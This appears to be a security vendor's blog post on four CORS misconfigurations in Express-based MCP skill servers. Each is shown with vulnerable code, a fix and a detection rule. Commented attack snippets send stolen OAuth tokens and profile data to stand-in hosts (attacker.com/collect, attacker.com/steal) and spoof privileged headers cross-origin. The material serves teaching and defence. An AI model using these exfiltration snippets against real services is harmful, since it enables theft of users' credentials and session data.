← Blog

Claude skill CORS configuration security

MCP skills that expose HTTP endpoints — OAuth callback pages, server-sent event streams, rich tool content endpoints — must configure Cross-Origin Resource Sharing headers carefully. CORS controls which browser origins can read responses from your skill’s HTTP endpoints. A misconfigured CORS policy does not stop server-to-server attacks, but it creates a cross-site request forgery surface for browser-based credential theft when a victim visits an attacker-controlled page. SA-SKL-CORS covers four CORS misconfiguration patterns in MCP skill codebases.

By SkillAudit  |  4 Nov 2026

CORS misconfigurations are uniquely dangerous for MCP skills because skills frequently host OAuth callback endpoints that receive authorization codes and tokens in URL parameters, and server-sent event streams that emit real-time tool data. These endpoints return sensitive material in response bodies that a browser’s same-origin policy would normally protect — until a permissive CORS header overrides that protection and hands the response to any requesting origin. Unlike server-to-server request forgery, CORS-enabled attacks run entirely in the victim’s browser: no network access to the skill host is required, only a single fetch call from an attacker-controlled page. The four SA-SKL-CORS patterns range from wildcard origins on credential endpoints to reflected origins that grant every requester implicit trust, to header wildcards that enable header-injection privilege escalation, to stale preflight caches that make CORS policy changes invisible to already-cached browsers for up to 24 hours after a tightening.

SA-SKL-CORS-001: cors({ origin: '*' }) on credential-sensitive endpoints — any origin reads token responses

The most common CORS misconfiguration in Express-based MCP skills is applying cors({ origin: '*' }) globally to an application that hosts OAuth callback endpoints or endpoints that return user-specific data. Browsers enforce a rule that prevents origin: '*' from being combined with credentials: include in a fetch call, which prevents cookie-based cross-origin reads. However, this restriction does not protect OAuth callback endpoints that return tokens as URL parameters, in response bodies, or in JSON payloads: a credential-less fetch from any origin can still read these responses, because origin: '*' permits the read without credentials:

// VULNERABLE: global wildcard CORS applied to an app with OAuth callback routes
import express from 'express';
import cors from 'cors';

const app = express();
app.use(cors({ origin: '*' }));  // <-- wildcard: any browser origin can read all responses

// OAuth callback endpoint — returns token in response body
app.get('/oauth/callback', async (req, res) => {
  const { code, state } = req.query;
  const tokenResponse = await exchangeCodeForToken(code as string);
  // tokenResponse contains access_token, refresh_token, id_token
  res.json(tokenResponse);  // <-- any origin can read this JSON response
});

// Tool content endpoint — returns user data
app.get('/tool/content/:resourceId', async (req, res) => {
  const data = await fetchUserResource(req.params.resourceId);
  res.json(data);  // <-- any origin can read this, including attacker.com
});

// ATTACK: attacker page fetches OAuth callback response from victim's browser
// Victim visits https://attacker.com/steal after authenticating with the MCP skill
//
// <script>
//   // Victim has just been redirected to:
//   // https://your-skill.example.com/oauth/callback?code=AUTH_CODE&state=...
//   // Attacker captures the code from the URL, exchanges it themselves,
//   // OR waits for the victim's callback and reads the token response:
//   fetch('https://your-skill.example.com/oauth/callback?code=CAPTURED_CODE')
//     .then(r => r.json())
//     .then(data => {
//       // data.access_token is now in attacker's hands
//       fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify(data) });
//     });
// </script>
//
// No credentials needed — cors({ origin: '*' }) makes the response readable from any origin

// SECURE: explicit origin allowlist; never use wildcard on token-returning endpoints
import cors from 'cors';

const allowedOrigins = new Set([
  'https://claude.ai',
  'https://app.yourskill.example.com',
]);

app.use(cors({
  origin: (origin, cb) => {
    // Allow requests with no Origin header (server-to-server, curl)
    if (!origin) return cb(null, true);
    if (allowedOrigins.has(origin)) {
      return cb(null, true);
    }
    cb(new Error(`CORS: origin '${origin}' is not in the allowlist`));
  },
  credentials: true,  // safe now that origin is not wildcard
}));

// If your app serves both public static assets (wildcard OK) and
// credential-sensitive API routes (allowlist required), apply CORS middleware
// per-router rather than globally:
const publicRouter = express.Router();
publicRouter.use(cors({ origin: '*' }));  // safe for truly public, non-sensitive routes

const oauthRouter = express.Router();
oauthRouter.use(cors({ origin: (o, cb) => cb(null, allowedOrigins.has(o ?? '')) }));

The browser’s credentials: include restriction does not protect token-returning endpoints: The rule that blocks Access-Control-Allow-Origin: * + Access-Control-Allow-Credentials: true is a browser-side enforcement on credentialed requests. An attacker page making a credential-less fetch to your OAuth callback endpoint encounters no such restriction — origin: '*' allows the read unconditionally. If your endpoint returns a token or user data in its response body regardless of whether a session cookie is present, wildcard CORS is sufficient to expose that data to any browser origin.

HIGH
SA-SKL-CORS-001 — cors({ origin: '*' }) on application that hosts OAuth callback or user-data endpoints: any browser origin can issue credential-less fetch and read token or user data from response body; attacker page captures OAuth authorization codes and access tokens without needing victim session cookies. Fix: replace global wildcard with an explicit Set-based origin allowlist applied per router; never use wildcard on token-returning routes. Detection: cors({ origin: '*' }) or cors() with no origin option in app that also defines /oauth, /token, or /callback routes → HIGH.

SA-SKL-CORS-002: Origin reflection — res.setHeader('Access-Control-Allow-Origin', req.headers.origin) trusts every requester

Origin reflection is a CORS misconfiguration where the server copies the Origin request header directly into the Access-Control-Allow-Origin response header without validating it against an allowlist. It is functionally equivalent to origin: '*' but bypasses the browser restriction that prevents origin: '*' from being combined with Access-Control-Allow-Credentials: true. Because the reflected value is a specific origin string (not the literal *), browsers accept the credentials: include combination, enabling credentialed cross-origin reads: session cookies, HttpOnly tokens, and anything else the browser holds for the skill’s domain are sent with the attacker-triggered request and the response is readable:

// VULNERABLE: raw origin reflection in middleware
import express, { Request, Response, NextFunction } from 'express';

function corsMiddleware(req: Request, res: Response, next: NextFunction) {
  // Reflects the requesting origin unconditionally
  res.setHeader('Access-Control-Allow-Origin', req.headers.origin ?? '*');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  res.setHeader('Access-Control-Allow-Methods', 'GET,POST,OPTIONS');
  if (req.method === 'OPTIONS') {
    res.sendStatus(204);
    return;
  }
  next();
}

app.use(corsMiddleware);

// ALSO VULNERABLE: cors() package origin callback that reflects without validation
import cors from 'cors';
app.use(cors({
  origin: (origin, cb) => cb(null, origin),  // reflects every origin as trusted
  credentials: true,
}));

// ATTACK: credentialed cross-origin request reads session-bound user data
// Victim is logged into https://your-skill.example.com (has session cookie)
// Victim visits https://attacker.com/exploit
//
// <script>
//   fetch('https://your-skill.example.com/api/user/profile', {
//     credentials: 'include',  // sends victim's session cookie
//   })
//   .then(r => r.json())
//   .then(profile => {
//     // profile contains victim's email, OAuth tokens, skill configuration
//     // Response is readable because ACAO header reflects 'https://attacker.com'
//     // and ACAC header is 'true'
//     fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(profile) });
//   });
// </script>
//
// Without origin reflection: browser blocks the read (ACAO would be '*', ACAC can't be true)
// With origin reflection: browser sees ACAO: https://attacker.com + ACAC: true → read allowed

// ATTACK 2: CSRF with response reading
// POST requests that modify server state AND return confirmation data are fully exploitable:
//   fetch('/api/settings/update', { method: 'POST', credentials: 'include', body: ... })
//   → state change succeeds AND attacker reads the confirmation response

// SECURE: validate origin against allowlist before reflecting; always set Vary: Origin
const allowedOrigins = new Set([
  'https://claude.ai',
  'https://app.yourskill.example.com',
]);

function secureCorsMiddleware(req: Request, res: Response, next: NextFunction) {
  const origin = req.headers.origin;
  if (origin && allowedOrigins.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    // Vary: Origin is required when reflecting — tells caches that the
    // response differs by origin and prevents cache poisoning
    res.setHeader('Vary', 'Origin');
  }
  // If origin is not in the allowlist, do NOT set ACAO header at all
  // Browser will block the cross-origin read without an explicit ACAO header
  res.setHeader('Access-Control-Allow-Methods', 'GET,POST,OPTIONS');
  if (req.method === 'OPTIONS') {
    res.sendStatus(204);
    return;
  }
  next();
}

// Same pattern with the cors() package:
app.use(cors({
  origin: (origin, cb) => {
    if (!origin) return cb(null, true);           // server-to-server: allow
    if (allowedOrigins.has(origin)) return cb(null, true);  // known origin: allow
    cb(null, false);                              // unknown origin: block
  },
  credentials: true,
}));

Origin reflection defeats the same-origin policy for credentialed requests: origin: '*' cannot be paired with credentials: true by browser design, but reflected origin can — because the browser sees a specific matching origin string, not a wildcard. This means origin reflection is strictly more dangerous than wildcard CORS: it enables credentialed cross-origin reads that expose session-bound data, and it requires no special browser behavior to exploit, only a standard fetch with credentials: 'include' from any attacker-controlled page. The absence of Vary: Origin alongside a reflected origin also causes CDN and proxy caches to serve one origin’s CORS-enabled response to other origins.

CRITICAL
SA-SKL-CORS-002 — res.setHeader('Access-Control-Allow-Origin', req.headers.origin) or origin: (o, cb) => cb(null, o) with credentials: true: every requesting origin is trusted unconditionally; attacker page sends credentialed fetch, reads session-bound profile data, OAuth tokens, and skill configuration; CSRF with full response reading. Fix: validate against Set allowlist before reflecting; set Vary: Origin; return no ACAO header for unknown origins. Detection: req.headers.origin in setHeader('Access-Control-Allow-Origin', ...) without prior allowlist check, or cb(null, origin) in cors origin callback → CRITICAL.

SA-SKL-CORS-003: allowedHeaders: '*' allows attacker-supplied custom headers — header-injection privilege escalation

The Access-Control-Allow-Headers response header lists the request headers a cross-origin page is permitted to include in its fetch call. Setting this to * tells the browser to allow any request header to be sent cross-origin. The direct security consequence is that an attacker-controlled page can include custom headers that trigger elevated server-side behavior — internal admin flags, forwarding overrides, feature-flag activations — and those headers will pass the preflight check and reach the request handler. This matters most for MCP skills that implement header-based access controls or trust certain headers from internal infrastructure:

// VULNERABLE: wildcard allowedHeaders permits any request header cross-origin
import cors from 'cors';

app.use(cors({
  origin: allowedOrigins,
  allowedHeaders: '*',       // <-- any header is permitted in cross-origin requests
  credentials: true,
}));

// ALSO VULNERABLE: manual header
app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Headers', '*');
  next();
});

// ATTACK SCENARIO: attacker discovers header-based privilege escalation
//
// The skill uses a custom header for internal admin access:
app.get('/api/admin/users', (req, res) => {
  if (req.headers['x-internal-admin'] === process.env.INTERNAL_ADMIN_SECRET) {
    return res.json(await getAllUsers());  // privileged response
  }
  // But also: some feature-flag headers, forwarding headers, or
  // infrastructure headers that the skill trusts implicitly:
  if (req.headers['x-forwarded-for'] === '127.0.0.1') {
    // Treat as localhost request — bypass rate limiting
    return handleWithoutRateLimit(req, res);
  }
  res.status(403).json({ error: 'forbidden' });
});
//
// With allowedHeaders: '*', an attacker page can send these headers cross-origin:
// fetch('https://your-skill.example.com/api/admin/users', {
//   headers: {
//     'X-Internal-Admin': 'guessed-or-leaked-secret',
//     'X-Forwarded-For': '127.0.0.1',
//     'X-Feature-Flag': 'admin-panel-enabled',
//   },
//   credentials: 'include',
// });
//
// Without allowedHeaders: '*': browser blocks the preflight — these headers
//   are not in the allowed list, so the actual request never fires.
// With allowedHeaders: '*': preflight succeeds, all custom headers reach the handler.
//
// ATTACK STEP BY STEP:
// 1. Attacker enumerates custom headers by scanning skill source or error messages
// 2. Attacker crafts cross-origin fetch with candidate privilege-escalation headers
// 3. CORS preflight returns 200 for every header (allowedHeaders: '*')
// 4. Actual request fires with attacker-chosen headers; handler processes them
// 5. If any header triggers elevated behavior: data exfiltration or state change succeeds

// SECURE: explicit allowedHeaders list containing only the headers your routes actually use
app.use(cors({
  origin: (origin, cb) => {
    if (!origin || allowedOrigins.has(origin)) return cb(null, true);
    cb(null, false);
  },
  credentials: true,
  allowedHeaders: [
    'Content-Type',
    'Authorization',
    'X-Request-Id',    // idempotency key — safe to allow cross-origin
  ],
  // Do NOT include internal-only headers:
  // 'X-Internal-Admin', 'X-Forwarded-For', 'X-Feature-Flag'
  // These should never be accepted from browser origins at all
}));

// ADDITIONAL HARDENING: strip dangerous headers at the edge before they reach handlers
app.use((req, _res, next) => {
  // Remove headers that should never come from external/browser sources
  delete req.headers['x-internal-admin'];
  delete req.headers['x-forwarded-for'];   // Let your load balancer set this, not clients
  next();
});

CORS preflight is a browser mechanism, not a server-side security gate: allowedHeaders: '*' instructs the browser to send any header the page requests, but it also means your server handler receives those headers. If a handler uses a custom header to determine access level, rate limiting, or feature activation, an attacker who can pass the CORS preflight can influence those decisions from a cross-origin page. The correct architecture treats every custom header arriving from outside your infrastructure as untrusted regardless of CORS configuration — strip them at the edge and re-add them at the load balancer or service mesh layer where they cannot be forged by browsers.

HIGH
SA-SKL-CORS-003 — allowedHeaders: '*' or Access-Control-Allow-Headers: * with cross-origin credentials: browser permits attacker page to send any custom header cross-origin; header-based access controls (X-Internal-Admin, X-Forwarded-For, feature flags) are reachable from browser origins. Fix: enumerate only the headers your routes actually use in an explicit allowedHeaders array; strip infrastructure headers at the edge. Detection: allowedHeaders: '*' or setHeader('Access-Control-Allow-Headers', '*') in source → HIGH.

SA-SKL-CORS-004: maxAge: 86400 — 24-hour cached preflight locks in broad CORS policy during incident response

The Access-Control-Max-Age response header on a CORS preflight response tells the browser how long (in seconds) it may cache the preflight result and skip repeating the OPTIONS request for subsequent same-origin same-method same-headers requests. Setting maxAge to 86400 seconds (24 hours) is a common performance optimization: it eliminates one round-trip per cross-origin request for an entire day. The security failure mode surfaces during incident response: if a broad CORS policy is discovered and tightened, browsers that cached the previous permissive preflight response will continue honoring the old policy for up to 24 hours, keeping the attack surface open long after the fix is deployed:

// VULNERABLE: 24-hour preflight cache retains a broad CORS policy after tightening
import cors from 'cors';

app.use(cors({
  origin: allowedOrigins,
  credentials: true,
  maxAge: 86400,  // <-- 24-hour cache: browsers skip preflight for 24h
                  //     after a permissive policy is served
}));

// SCENARIO: CORS-002 (origin reflection) is discovered in production
// Incident response timeline:
//   T+0:00  Attacker or bug bounty reports origin reflection vulnerability
//   T+0:30  Engineer deploys fix: replace reflection with allowlist
//   T+0:30  New CORS policy is now serving correctly from the server
//   T+0:30  BUT: browsers that made a cross-origin request in the last 24h
//           have cached the preflight response with the OLD permissive policy
//   T+0:30  Those browsers will not send a new OPTIONS request until their
//           cache entry expires — up to T+24:00
//   T+24:00 All cached preflights finally expire; attack surface closes
//
// During the 24-hour window:
//   Attacker whose page is already open in a victim's browser can continue
//   to issue cross-origin requests that the browser approves from cache —
//   the fix on the server is invisible to that browser session

// ALSO VULNERABLE: very long max-age via manual header
app.use((req, res, next) => {
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Max-Age', '86400');  // 24 hours
    res.sendStatus(204);
    return;
  }
  next();
});

// ATTACK EXTENSION: attacker front-runs the preflight cache window
// 1. Attacker discovers or suspects broad CORS policy on the skill
// 2. Attacker sends a cross-origin OPTIONS request from victim's browser
//    (via a lure page) to seed a 24-hour cache entry with the permissive policy
// 3. Even if the skill deploys a tighter policy at T+1h, the attacker's
//    seeded cache entry persists until T+24h
// 4. Attacker's exploit page continues working for the remainder of the window

// SECURE: low maxAge for routine operation; maxAge: 0 during incident response
app.use(cors({
  origin: (origin, cb) => {
    if (!origin || allowedOrigins.has(origin)) return cb(null, true);
    cb(null, false);
  },
  credentials: true,
  maxAge: 300,  // 5 minutes: preflight re-sent every 5 minutes
                // Balances performance (reduces preflight frequency) with
                // the ability to enforce policy changes within 5 minutes
}));

// INCIDENT RESPONSE: set maxAge to 0 to force preflight on every request
// Deploy this configuration when you need CORS policy changes to take effect immediately
app.use(cors({
  origin: strictAllowedOrigins,  // tightened allowlist
  credentials: true,
  maxAge: 0,  // no caching: every cross-origin request re-validates
              // Higher preflight overhead, but policy changes are instant
}));

// STARTUP VALIDATION: warn if maxAge exceeds safe threshold
const SAFE_MAX_AGE_SECONDS = 600;  // 10 minutes
function validateCorsMaxAge(maxAge: number) {
  if (maxAge > SAFE_MAX_AGE_SECONDS) {
    console.warn(
      `[CORS] maxAge is set to ${maxAge}s (${maxAge / 3600}h). ` +
      `Values above ${SAFE_MAX_AGE_SECONDS}s delay CORS policy tightening ` +
      `during incident response. Consider maxAge: 300 for production.`
    );
  }
}

Preflight caching is an invisible delay between a CORS fix and effective enforcement: When you tighten a CORS policy in response to a misconfiguration discovery, the fix takes effect for new preflight responses immediately — but browsers that already hold a cached preflight result will not request a new one until the cache entry expires. A 24-hour maxAge means your CORS fix has a 24-hour enforcement lag in the worst case. A 5-minute (300 second) maxAge limits this to a 5-minute window — a meaningful improvement for a small increase in preflight request volume. Setting maxAge: 0 in an incident response deployment forces every browser to re-validate on the next cross-origin request, eliminating the lag entirely at the cost of a preflight per request.

MEDIUM
SA-SKL-CORS-004 — maxAge: 86400 or Access-Control-Max-Age: 86400: 24-hour preflight cache retains permissive CORS grants after a policy tightening; broad CORS attack surface persists for up to 24 hours post-fix during incident response; attacker can seed a cache entry to extend the window. Fix: set maxAge: 300 for routine production use; deploy maxAge: 0 during incident response to force immediate re-validation. Detection: maxAge value ≥ 3600 (1 hour) alongside a broad origin policy → MEDIUM.

Remediation summary

FindingSeverityVulnerable patternFixDetection signal
CORS-001: cors({ origin: '*' }) on token endpoints HIGH app.use(cors({ origin: '*' })) applied globally to app with OAuth callback or user-data routes Replace with Set-based origin allowlist applied per router; never wildcard on token-returning routes cors({ origin: '*' }) in app that defines /oauth, /token, or /callback routes
CORS-002: origin reflection with credentials CRITICAL res.setHeader('Access-Control-Allow-Origin', req.headers.origin) or cb(null, origin) without allowlist check Validate against allowlist before reflecting; set Vary: Origin; return no ACAO for unknown origins req.headers.origin in setHeader('Access-Control-Allow-Origin', ...) without prior has() check
CORS-003: allowedHeaders: '*' HIGH cors({ allowedHeaders: '*' }) permits attacker-supplied headers that trigger elevated server behavior Enumerate only used headers: allowedHeaders: ['Content-Type', 'Authorization', 'X-Request-Id']; strip infrastructure headers at edge allowedHeaders: '*' or setHeader('Access-Control-Allow-Headers', '*') in source
CORS-004: maxAge: 86400 preflight cache MEDIUM cors({ maxAge: 86400 }) caches permissive preflight for 24h; policy tightening has 24h enforcement lag Set maxAge: 300 for production; deploy maxAge: 0 during incident response for immediate re-validation maxAge value ≥ 3600 alongside broad origin policy in CORS configuration

SkillAudit detects all four SA-SKL-CORS-001 through CORS-004 patterns through static analysis of skill source code and Express/Fastify/Hono middleware configuration: global wildcard CORS on apps with OAuth routes, origin callbacks that reflect without allowlist validation, allowedHeaders: '*' in CORS options, and maxAge values that extend beyond safe incident-response thresholds. For related security patterns see SA-SKL-SESS session management security, SA-SKL-AUT authentication security, and SA-SKL-CSP cross-origin isolation security. See the complete SA-SKL attack surface reference for the full vulnerability taxonomy.

Scan your Claude skill for CORS misconfiguration vulnerabilities

SkillAudit detects origin wildcard on token endpoints, reflected origins, wildcard allowedHeaders, and long-lived preflight caches across the full SA-SKL-CORS family in 60 seconds.

Get your free audit